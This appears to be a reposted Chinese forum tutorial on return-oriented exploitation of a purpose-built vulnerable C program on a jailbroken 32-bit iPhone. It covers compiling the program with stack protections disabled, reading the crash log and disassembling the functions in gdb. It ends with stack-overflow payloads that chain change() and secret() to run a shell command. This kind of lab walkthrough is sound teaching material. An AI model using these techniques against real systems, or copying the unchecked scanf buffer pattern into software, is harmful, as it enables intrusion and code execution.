iOS系统下的ROP利用实践
2020-06-17 19:52:52 Author: bbs.pediy.com(查看原文) 阅读量:439 收藏

本次实践内容:

利用scanf函数的栈溢出漏洞,实现在main()方法中调用change()方法,并调用secret()方法。

设备要求:

1、苹果电脑
2、已越狱的32位系统的iphone手机,我这里用的是iphone4s(ios7.1)

本次使用的代码

存在漏洞的 roplevel.c 代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char command[] = "date";
void change() {
  strcpy(command, "ls");
  printf("command changed.\n");
}
void secret() {
  printf ("executing command ...\n");
  system(command);
}
int main() {

  printf("Welcome to ROPLevel 1 for ARM!\n");
  char buff[12];
  scanf("%s", buff);

  return 0;
}

1、使用clang编译roplevel.c文件

iPhoneOS7.1.sdk下载地址:

https://github.com/guoch/iPhoneOS7.1.sdk

终端输入命令编译roplevel.c,编译的时候仍然需要关掉thumb模式、地址随机化和其他一些保护特性:

clang roplevel.c -target armv7-apple-ios7.1 -isysroot /path/to/改成你的真实路径/iPhoneOS7.1.sdk -fno-pie -fno-stack-protector -mno-thumb -o roplevel

如果你用clang编译时使用的是新系统版本的iphone.sdk,会报错:

roplevel.c:12:2: error: 'system' is unavailable: not available on iOS
        system(command);
        ^
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS13.2.sdk/usr/include/stdlib.h:190:6: note: 
      'system' has been explicitly marked unavailable here
int      system(const char *) __DARWIN_ALIAS_C(system);
         ^
1 error generated.

因为system()方法在新的sdk中已不能使用,所以这里要下载iPhoneOS7.1.sdk,并且再用clang编译时用到的sdk选择刚刚下载的iPhoneOS7.1.sdk。

2、复制roplevel文件到手机

把编译好的roplevel可执行文件通过爱思助手拖入手机的/var/mobile/Documents/test目录下
复制roplevel到手机

3、ssh连接手机,为roplevel设置执行权限

电脑终端使用iproxy映射22端口到2222

iproxy 2222 22

电脑终端输入连接ssh的命令并cd到/var/mobile/Documents/test目录下:

ssh root@localhost -p 2222

ssh连接手机
增加执行权限:

chmod +x roplevel

4、正常流程测试 roplevel 程序

chaorende-iPhone:/var/mobile/Documents/test root# printf "AABBCCDD" | ./roplevel
Welcome to ROPLevel 1 for ARM!

5、测试 roplevel 的崩溃

因为 roplevel.c 代码中,char buff[12]接收scanf()方法输入的字符串,限制为12个字符,当我们输入字符数超过12时会导致栈溢出。

iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" | ./roplevel
Welcome to ROPLevel 1 for ARM!
Segmentation fault: 11

程序崩溃,用爱思助手查看手机 /var/Logs/CrashReporter 路径下的崩溃日志文件,本次 崩溃日志文件是roplevel_2020-06-15-181505_chaorende-iPhone.ips ,内容如下:

{"name":"roplevel","bug_type":"109","os_version":"iPhone OS 7.1.1 (11D201)","version":"???","app_name":"roplevel"}
Incident Identifier: F9606866-B1D5-45B3-B1F7-04609ADD6C47
CrashReporter Key:   170b7069d83069b34014ef09ae11cf58d7432429
Hardware Model:      iPhone4,1
Process:             roplevel [6931]
Path:                ./roplevel
Identifier:          roplevel
Version:             ???
Code Type:           ARM (Native)
Parent Process:      sh [6659]

Date/Time:           2020-06-15 18:15:05.290 +0800
OS Version:          iOS 7.1.1 (11D201)
Report Version:      104

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x46464644
Highlighted Thread:  0

Backtrace not available

Unknown thread crashed with ARM Thread State (32-bit):
    r0: 0x00000000    r1: 0x00000000      r2: 0x00000100      r3: 0x00002060
    r4: 0x00000000    r5: 0x0000bee0      r6: 0x00000000      r7: 0x45454545
    r8: 0x27dff890    r9: 0x00000001     r10: 0x00000000     r11: 0x00000000
    ip: 0x3d571bd8    sp: 0x27dff880      lr: 0x0000bf18      pc: 0x46464644
  cpsr: 0x40000010

从上可看出, r7 中存储的是 EEEE , pc 中存储的是 FFFF(我也没搞明白pc的0x46464644为啥对应FFFF)
ASCII对应值

由于我们输入的字符过长,覆盖了栈中保存的LR寄存器的值,当main函数结束时,程序会把栈中保存的LR的值赋给PC寄存器,PC寄存器中的值就是即将执行的下一条指令的地址。所以只要输入的字符串时用change()方法的地址覆盖掉栈中LR寄存器的值,就能实现main()方法结束时去调用change()方法。

6、查看change()和secret()两个方法的地址

gdb附加roplevel

iPhone:/var/mobile/Documents/test root# gdb roplevel

查看change()的地址:

gdb$ disas change
Dump of assembler code for function change:
0x0000be64 <change+0>:  80 40 2d e9                   push  {r7, lr}
0x0000be68 <change+4>:  0d 70 a0 e1                   mov  r7, sp
0x0000be6c <change+8>:  08 d0 4d e2                   sub  sp, sp, #8  ; 0x8
0x0000be70 <change+12>:  18 00 0c e3                   movw  r0, #49176  ; 0xc018
0x0000be74 <change+16>:  00 00 40 e3                   movt  r0, #0  ; 0x0
0x0000be78 <change+20>:  b0 1f 0b e3                   movw  r1, #49072  ; 0xbfb0
0x0000be7c <change+24>:  00 10 40 e3                   movt  r1, #0  ; 0x0
0x0000be80 <change+28>:  05 20 00 e3                   movw  r2, #5  ; 0x5
0x0000be84 <change+32>:  28 00 00 eb                   bl  0xbf2c
0x0000be88 <change+36>:  b3 1f 0b e3                   movw  r1, #49075  ; 0xbfb3
0x0000be8c <change+40>:  00 10 40 e3                   movt  r1, #0  ; 0x0
0x0000be90 <change+44>:  04 00 8d e5                   str  r0, [sp, #4]
0x0000be94 <change+48>:  01 00 a0 e1                   mov  r0, r1
0x0000be98 <change+52>:  26 00 00 eb                   bl  0xbf38
0x0000be9c <change+56>:  00 00 8d e5                   str  r0, [sp]
0x0000bea0 <change+60>:  07 d0 a0 e1                   mov  sp, r7
0x0000bea4 <change+64>:  80 80 bd e8                   pop  {r7, pc}
End of assembler dump.

查看secret()的地址:

gdb$ disas secret
Dump of assembler code for function secret:
0x0000bea8 <secret+0>:  80 40 2d e9                   push  {r7, lr}
0x0000beac <secret+4>:  0d 70 a0 e1                   mov  r7, sp
0x0000beb0 <secret+8>:  08 d0 4d e2                   sub  sp, sp, #8  ; 0x8
0x0000beb4 <secret+12>:  c5 0f 0b e3                   movw  r0, #49093  ; 0xbfc5
0x0000beb8 <secret+16>:  00 00 40 e3                   movt  r0, #0  ; 0x0
0x0000bebc <secret+20>:  1d 00 00 eb                   bl  0xbf38
0x0000bec0 <secret+24>:  18 e0 0c e3                   movw  lr, #49176  ; 0xc018
0x0000bec4 <secret+28>:  00 e0 40 e3                   movt  lr, #0  ; 0x0
0x0000bec8 <secret+32>:  04 00 8d e5                   str  r0, [sp, #4]
0x0000becc <secret+36>:  0e 00 a0 e1                   mov  r0, lr
0x0000bed0 <secret+40>:  1e 00 00 eb                   bl  0xbf50
0x0000bed4 <secret+44>:  00 00 8d e5                   str  r0, [sp]
0x0000bed8 <secret+48>:  07 d0 a0 e1                   mov  sp, r7
0x0000bedc <secret+52>:  80 80 bd e8                   pop  {r7, pc}
End of assembler dump.

7、实现执行change()方法

根据地址 0x0000be64,用 "\x64\xbe\x00\x00"替换"FFFF" ,执行main()函数时,scanf接收到"AAAABBBBCCCCDDDDEEEE\x64\xbe\x00\x00"从而覆盖main()方法栈中存储的LR为0x0000be64,当main即将结束时会把0x0000be64传给PC寄存器,从而跳转到change()方法:
写入change方法地址
先实现执行change()方法,操作如下:

chaorende-iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEE\x64\xbe\x00\x00" | ./roplevel
Welcome to ROPLevel 1 for ARM!
command changed.
Bus error: 10

看到终端中输出了"command changed.",则证明执行了 chang() 方法,虽然最后程序还是崩溃掉了。

8、那么如何在change()执行结束时跳转到secret()方法呢?

chang()函数开头 push {r7, lr} 把lr和r7存储到了栈中,change()函数的结束时通过 pop {r7, pc} 把栈中存储的lr传给 pc寄存器,只要让 change()结束时的pc指向 secret() 方法,就可调用并执行secret()方法了。
于是,我们直接让 main()结束时跳转到 0x0000be68 位置,而不是0x0000be64位置,这样可以不执行chang()函数开头的 push {r7, lr}而不影响change()方法的执行。
当change()结束时执行pop {r7, pc},会把”main()入栈的LR“上方的第一个”其他数据“当做R7的值,把第二个”其他数据“当做LR的值传给PC寄存器,这样就能跳转到secret()方法了:
写入secret方法地址
因为栈上的数据每次读取都是4个字节,我们输入的字符串溢出的长度只要刚好覆盖到栈上两个4字节的数据即可。

change()方法不执行push{r7,lr} 的地址:0x0000be68
secret()方法的地址:0x0000bea8
所以拼接字符串为:
AAAABBBBCCCCDDDDEEEE\x68\xbe\x00\x00FFFF\xa8\xbe\x00\x00
最终执行:

iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEE\x68\xbe\x00\x00FFFF\xa8\xbe\x00\x00" | ./roplevel
Welcome to ROPLevel 1 for ARM!
command changed.
executing command ...
hello  roplevel  t_coreutils-bin_8.12-9_iphoneos-arm.deb  t_coreutils_8.12-13_iphoneos-arm.deb
Bus error: 10

从打印信息可以看到,执行完 change()方法后执行了secret()方法,打印出当前目录下的文件。

以上是我的个人见解,不对的地方望指正。

本文参考自:http://madmark.cc/2017/12/05/ROPlevel1/

欢迎关注公众号:逆向APP

[培训]高研班成果展示、认证、线下班,《安卓高级研修班(网课)》9月班开始招生!挑战极限、工资翻倍!


文章来源: https://bbs.pediy.com/thread-260135.htm
如有侵权请联系:admin#unsafe.sh